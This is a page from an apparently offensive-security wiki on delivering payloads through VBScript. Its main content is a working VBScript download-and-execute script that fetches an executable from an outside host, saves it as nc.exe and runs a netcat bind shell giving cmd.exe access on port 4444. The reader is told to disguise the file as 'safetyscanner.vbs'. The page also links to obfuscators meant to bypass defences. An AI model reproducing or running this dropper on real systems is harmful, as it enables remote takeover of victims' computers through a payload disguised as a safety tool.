The Hive
GitHubLinkedInEmail
  • ๐Ÿ Home
  • ๐ŸŒRECON
    • ๐Ÿ“กPassive (OSINT)
      • โฉMetadata
      • โฉSocial Platforms
        • Email
        • Tumbler
        • Redit
        • Github
        • Tinder
        • TikTok
        • Snapchat
        • Instagram
        • Facebook
        • Twitter
        • Google
        • LinkedIn
    • ๐Ÿ“กActive
      • โฉHost Discovery / Network Mapping
      • โฉnmap cheat sheet
      • โฉmasscan cheat sheet
    • ๐Ÿ“กWeb Recon
      • โฉWeb Server Discovery
      • โฉHidden Hosts
      • โฉDirectories & Subdomains
      • โฉSSL Certs
      • โฉCMS
      • โฉWAF Detection
    • ๐Ÿ“กFirewall Evasion
  • ๐Ÿ“—Web Attacks
    • ๐ŸŸขServer Side
      • ๐ŸŸฉAuthentication Mechanisms
      • ๐ŸŸฉAccess Control (Authorization)
      • ๐ŸŸฉDirectory Traversal
      • ๐ŸŸฉOS Command Injection
      • ๐ŸŸฉServer-Side Request Forgery (SSRF)
      • ๐ŸŸฉXML External Entity (XXE) Injection
      • ๐ŸŸฉFile Upload
      • ๐Ÿ”งSQL Injection
      • ๐ŸŸฉInformation Disclosure
      • ๐ŸŸฉBusiness Logic
    • ๐ŸŸขClient Side
      • ๐ŸŸฉCross-site request forgery (CSRF)
      • ๐Ÿ”งCross-site scripting (XSS)
  • ๐Ÿ“’Network attacks
    • ๐ŸŸกNetwork Services
      • ๐ŸŸจBrute Force
      • ๐ŸŸจDNS
      • ๐ŸŸจIPv6
      • ๐ŸŸจFTP
      • ๐ŸŸจSSH
      • ๐ŸŸจSMB
      • ๐ŸŸจSNMP
      • ๐ŸŸจSMTP
      • ๐ŸŸจPOP3
      • ๐ŸŸจIMAP
      • ๐ŸŸจMSSQL
      • ๐ŸŸจMySQL
      • ๐ŸŸจMSRPC / RPCbind
      • ๐ŸŸจLDAP
      • ๐ŸŸจNTP
      • ๐ŸŸจNFS
      • ๐ŸŸจTelnet
      • ๐ŸŸจWebDAV
      • ๐ŸŸจRDP
      • ๐ŸŸจRSIP
      • ๐ŸŸจRlogin
      • ๐ŸŸจVPNs
      • ๐ŸŸจEcho
      • ๐Ÿ”งRTP
      • ๐Ÿ”งVOIP
        • SIP
    • ๐ŸŸกNetwork Devices
      • ๐ŸŸจIPv6 Attacks
        • Neighbor Impersonation
        • Router Advertisement Flooding
      • ๐ŸŸจSwitch Attacks
        • Cisco Exploitation
        • STP Spoofing
        • VLAN Hopping
        • MAC Flood
      • ๐ŸŸจRouter Attacks
        • Router Exploitation
        • HSRP Hijacking
        • ๐Ÿ”งRIP Spoofing
        • ๐Ÿ”งOSPF Attacks
        • ๐Ÿ”งVRRP MitM
      • ๐ŸŸจNAC Bypass
        • Captive Portal
        • 802.1X / EAP Bypass
      • ๐ŸŸจPrinter Exploitation
    • ๐ŸŸกMITM & Poisoning
      • ๐ŸŸจBettercap
      • ๐ŸŸจHTTPS Downgrade / HSTS Bypass
      • ๐ŸŸจSession Hijackings
      • ๐ŸŸจMalicious Update
      • ๐ŸŸจRDP Downgrade
      • ๐ŸŸจDNS Spoofing
      • ๐ŸŸจNTP Spoofing
      • ๐ŸŸจARP Spoofing
      • ๐ŸŸจDHCP Poisoning
      • ๐ŸŸจDHCPv6 Spoofing
      • ๐ŸŸจSSDP Spoofing
      • ๐ŸŸจWSUS Spoofing
      • ๐ŸŸจADIDNS Poisoning
      • ๐ŸŸจWPAD Abuse
    • ๐ŸŸกWireless Attacks
      • ๐ŸŸจProtocol Concepts
      • ๐ŸŸจBasics
      • ๐ŸŸจAttacks
    • ๐ŸŸกSniffing
      • ๐ŸŸจWireshark
      • ๐ŸŸจtcpdump
    • ๐ŸŸกDenial of Service
  • ๐Ÿ“•Red Team
    • ๐Ÿ”ดWindows
      • โญ•Security Concepts
        • Windows Security Components
        • Active Directory Components
        • Kerberos
        • Loggon Sessions and Access Tokens
        • Permissions and Access Control
        • Windows Registry
        • Object Management
      • โญ•Physical Attack
      • โญ•Enumeration
      • โญ•Privilege Escalation
        • DLL Hijacking
          • Phantom DLL Hijacking / Replacement
          • Search Order Hijacking ( Preloading )
          • DLL Side-Loading
        • Service Misconfigurations
          • Weak Registry Permissions
          • Insecure Service Executables
          • Insecure Permission
          • Unquoted Service Path
        • Creating a New Service (admin to system)
        • Registry
          • AlwaysInstallElevated
          • AutoRuns
        • Scheduled Tasks
        • Mass Roll-outs
        • Startup Apps
        • Installed Applications
        • Loopback Services
        • Insecure GUI APPs
        • Potatos
        • Printspoofer / SEImpersonate
        • PSEXEC (admin to system)
      • โญ•Credential Dumping
      • โญ•Persistence
        • Invisible Account Forger
        • Add User
        • Scheduled Tasks
        • Run Registry Keys
        • Logon Scripts
        • Screensavers Hijack
        • Powershell Profiles & Modules
        • Service Creation/Modification
        • Shortcut Modification
        • Startup Folder
        • RDP backdoors
        • COM Hijacking
    • ๐Ÿ”ดActive Directory
      • โญ•Domain Enumeration
      • โญ•Tools & Frameworks
        • Evil-WinRM
        • CME cheat sheet
        • SharpSploit
        • impacket cheat sheet
        • DeathStar
      • โญ•Exploitation
        • LLMNR Poisoning
        • SMB/NTLM Relay
        • DNS Takeover + LDAP Relay
        • Cracking Hashes
        • Password spraying
        • ADCS + PetitPotam NTLM Relay
        • EternalBlue
        • ZeroLogon
        • MS Exchange ProxyShell
        • MS Exchange ProxyLogon
        • Java JBOSS
      • โญ•Privilege Escalation
        • Token Impersonation
        • DNS Admins
        • AD CS Abuse
        • ACL Abuse
          • GenericAll
          • Write Property
          • Self-membership
          • ForceChangePassword
          • Managed Security Groups
          • Exchange Windows Permissions
        • Group Policy Objects (GPOs)
        • Custom SSPs
        • PrintNightmare
      • โญ•Lateral Movement
        • RDP Password Decryption
        • RDP Session Hijacking
        • headless RDP with SharpRDP
        • Domain Shares
        • SCF File Attacks
        • Pass the Hash / Password
        • Overpass the Hash / Pass the Key
        • Pass The Ticket
        • Kerberosting / AS-REP Rosting
        • Kerberos Delegation
      • โญ•Credential Dumping
        • CredSSP / TSPKG
        • Wdigest Clear Text
        • DPAPI secrets
        • SAM & Registry
        • NTDS.dit & vshadow
        • comsvcs.dll
        • Meterpreter
        • Procdump & LSASS
        • AD User Comments
        • SYSVOL & Group Policy Preferences
        • LAPS Passwords
        • GSMA Passwords
        • HiveNightmare
        • Mimikatz Cheat sheet
        • Other Tools / Techniques
      • โญ•Persistence
        • Certificates
        • DCSync
        • DCShadow
        • Silver Ticket
        • Golden Ticket
        • Skeleton Key
        • WMI
        • PowerShell Remoting
        • Remote Registry
        • Rights Abuse
        • AdminSDHolder
        • DSRM
        • Kerberos Checksum Validation ( MS14-068 )
    • ๐Ÿ”ดLinux
      • โญ•Physical Attacks
      • โญ•Enumeration
      • โญ•Privilege Escalation
        • SUID / SGID abuse
        • /etc/shadow & /etc/passwd
        • cron/crontab abuse
        • Sudo Abuse
        • Capabilities Abuse
        • Environment Variables
          • LD_LIBRARY_PATH
          • LD_PRELOAD
        • Shared Object Injection
        • NFS
        • man CE Pager Argument
        • MySQL UDF
        • UDEVD
        • STDIN/STDOUT
        • Unix Socket Exploitation
        • Dirty Pipe
        • Docker
          • SUID Docker
      • โญ•Lateral Movement
        • Infecting Running Processes
        • VIM Config File Keylogger
        • SSH Hijacking
        • Samba Secrets to Domain Admin
        • Hiding Processes
        • Simple User-mode Rootkits
        • Vino VNC Server
      • โญ•Credential Dumping
        • Swap Dump
        • mimipinguin
        • unshadow
        • 3snake
      • โญ•Persistence
        • Startup User File Backdoor
        • PHP Backdoor
        • Apache mod_rootme
        • Startup Service Backdoor
        • xdg Backdoor
        • rootbash SUID
        • apt Backdoor
        • Driver Backdoor
        • Core Pattern
        • dash Backdoor
        • Creating an SUID Binary
        • Systemd netcat bind shell
        • Xinetd UDP portnock
        • openSSL reverse shell
        • motd Backdoor
        • Auth Log Backdoor
        • RSYSLOG Backdoor
        • sshd Backdoor
        • VIM Config Backdoor
        • .bashrc Backdoor
        • Adding a Root user
        • Crontab Reverse Shell
        • SSH persistence password-less
      • โญ•Covering Tracks
    • ๐Ÿ”ดCommand & Control (C2)
      • โญ•Cobalt Strike
      • โญ•Metasploit
      • โญ•Empire & Starkiller
      • โญ•Covenant
    • ๐Ÿ”ดShells and Payloads
      • โญ•Shell Escape / Interactive Shell
      • โญ•LOL Binaries
      • โญ•msfvenom
      • โญ•SharpShooter & Ivy
      • โญ•Other Payloads
    • ๐Ÿ”ดPayload Delivery
      • โญ•Powershell Reflective DLL Load
      • โญ•HTML Smuggling
      • โญ•Office Macros
      • โญ•DDE Auto - Word/Excel
      • โญ•.SLK Excel
      • โญ•XLM Macro 4.0
      • โญ•LNK
      • โญ•embedded OLE + LNK objects
      • โญ•JScript
      • โญ•HTA
      • โญ•VBS
      • โญ•VBA
      • โญ•RTF
      • โญ•REG
      • โญ•MSI / MSIEXEC
      • โญ•IQY
      • โญ•CHM / HHC
      • โญ•SCR
    • ๐Ÿ”ดPivoting
      • โญ•SSH Forwarding
      • โญ•Socat Stealth Port Forward
      • โญ•Socat Reverse Shell Relay
      • โญ•HTTP Tunneling
      • โญ•ICMP Tunneling
      • โญ•DNS Tunneling
      • โญ•Metasploit Pivoting
      • โญ•Cobalt Strike Pivoteing
      • โญ•VPN Tunneling
      • โญ•Other Tools
    • ๐Ÿ”ดExfiltration / File Transfer
      • โญ•Encode / Decode Files
      • โญ•TCP / UDP
      • โญ•DNS
      • โญ•SSH
      • โญ•ICMP
      • โญ•SMB
      • โญ•FTP
      • โญ•HTTP
      • โญ•Other Methods
    • ๐Ÿ”ดPassword Attacks
      • โญ•Online Attacks
      • โญ•Offline Attack
      • โญ•Word List
      • โญ•Cheat Sheet
    • ๐Ÿ”ดDefense Evasion
      • โญ•Basic Tricks
      • ๐Ÿ”งPowershell Tricks
      • โญ•Disabling Defenses
      • โญ•UAC Bypass
      • โญ•Process Migration
      • โญ•Dechaining Macros
      • โญ•VBA Sandbox Evasion
      • โญ•AMSI Bypass
      • โญ•SRP & AppLocker Bypass
      • โญ•GPO Bypass
  • ๐Ÿ“˜Blue Team
    • ๐Ÿ”ตThreat Modeling / Hunting / Intelligence
    • ๐Ÿ”ตLinux Hardening
      • ๐Ÿ”นOS Security
        • Update Strategy
        • Service Management
        • Physical Security
        • Grub Hardening
        • Kernel Parameters
        • Process Isolation
      • ๐Ÿ”นAccounts & Passwords
        • Users & Groups
        • Password Security & Sudoers
      • ๐Ÿ”นAccess Control & Ownership
      • ๐Ÿ”นFile System Security
      • ๐Ÿ”นIntegrity Check
      • ๐Ÿ”นSandboxing
      • ๐Ÿ”นNetwork
      • ๐Ÿ”นiptables
        • Rule Sets
      • ๐Ÿ”นService Hardening
        • BIND9
        • vsftpd
        • Nginx
        • Apache
        • SSH
      • ๐Ÿ”นSystem Audit
      • ๐Ÿ”นLogging
        • auditd
      • ๐Ÿ”นEncryption
    • ๐Ÿ”ตSecurity Architecture
      • ๐Ÿ”นLayered Security
  • ๐ŸŸชPurple Teaming
    • ๐ŸŸฃAdversary Emulation
  • ๐ŸŸงprogramming
    • ๐ŸŸ C Programming
      • ๐Ÿ”ธBasic Structure
      • ๐Ÿ”ธGCC Compiler
      • ๐Ÿ”ธPreprocessors
      • ๐Ÿ”ธData Types
      • ๐Ÿ”ธType Qualifiers
      • ๐Ÿ”ธPointers
      • ๐Ÿ”ธDynamic Memory Allocation
      • ๐Ÿ”ธLoops
      • ๐Ÿ”ธConditional Statements
      • ๐Ÿ”ธFunctions
      • ๐Ÿ”ธInput / Output
      • ๐Ÿ”ธMacros
      • ๐Ÿ”ธFiles
      • ๐Ÿ”ธStrings Manipulation
      • ๐Ÿ”ธBit Manipulation
      • ๐Ÿ”ธData Structures
        • Arrays
        • Structures
        • Unions
      • ๐Ÿ”ธAbstract Data Types
        • Stack
        • Queue
        • Linked List
          • Singly Linked List
          • Doubly Linked List
      • ๐Ÿ”ธLibraries & Linking
      • ๐Ÿ”ธError Recovery
    • ๐Ÿ”งAssembly ( NASM )
      • Intel IA-32 Environment
      • Basic Structure
      • Variables and Data Types
      • Most-used Instructions
      • input / output
  • ๐ŸŸซMiscellaneous
    • ๐ŸŸคGNU Screen / tmux
    • ๐ŸŸคSSH Tricks
    • ๐ŸŸคCats
      • netcat
      • ncat
      • pwncat
      • socat
      • ๐Ÿ”งpowercat
    • ๐ŸŸคCurl
    • ๐ŸŸคCross-compiling Binaries
Powered by GitBook
On this page
  • shellcode execution with VBScript
  • VBScript Download & Execute
  • Obfuscation
  • De-obfuscation
  1. Red Team
  2. Payload Delivery

VBS

PreviousHTANextVBA

Last updated 2 years ago

when a VBScript is executed from the command line (cmd.exe), by default it uses wscript (GUI). cscript.exe can be launched explicitly, like this:

cscript console.vbs

shellcode execution with VBScript

VBScript Download & Execute

Downloads, decode, decrypt and executes a VBScript using cmd and mshta.

without obfuscation:

Put the following lines into a text file. Name it safetyscanner.vbs and put on desktop.

dim http_obj
dim stream_obj
dim shell_obj
 
set http_obj = CreateObject("Microsoft.XMLHTTP")
set stream_obj = CreateObject("ADODB.Stream")
set shell_obj = CreateObject("WScript.Shell")
 
URL = "http://www.mikemurr.com/example.exe" 'Where to download the file from
FILENAME = "nc.exe" 'Name to save the file (on the local system)
RUNCMD = "nc.exe -L -p 4444 -e cmd.exe" 'Command to run after downloading
 
http_obj.open "GET", URL, False
http_obj.send
 
stream_obj.type = 1
stream_obj.open
stream_obj.write http_obj.responseBody
stream_obj.savetofile FILENAME, 2
 
shell_obj.run RUNCMD

Obfuscation

De-obfuscation

๐Ÿ“•
๐Ÿ”ด
โญ•
pentest-wiki/Execute_metasploit_vbs_payload_in_cmd_shell.md at master ยท nixawk/pentest-wikiGitHub
GitHub - AdiMarianMutu/MSHTA-VBS-download-and-execute: Downloads, decode, decrypt and executes a VBScript using cmd and mshtaGitHub
GitHub - DoctorLai/VBScript_Obfuscator: The VBScript Obfuscator written in VBScriptGitHub
Simple VBS Obfuscator
GitHub - kkar/VBS-Obfuscator-in-Python: VBScript obfuscation to allow PenTesters bypass countermeasures.GitHub
GitHub - sbruyere/vbeDecoder: Decoder for encoded Visual Basic Script Encoded scripts (VBE), written in C#, and provided as a library for .Net Standard.GitHub
Logo
Logo
Logo
Logo
Logo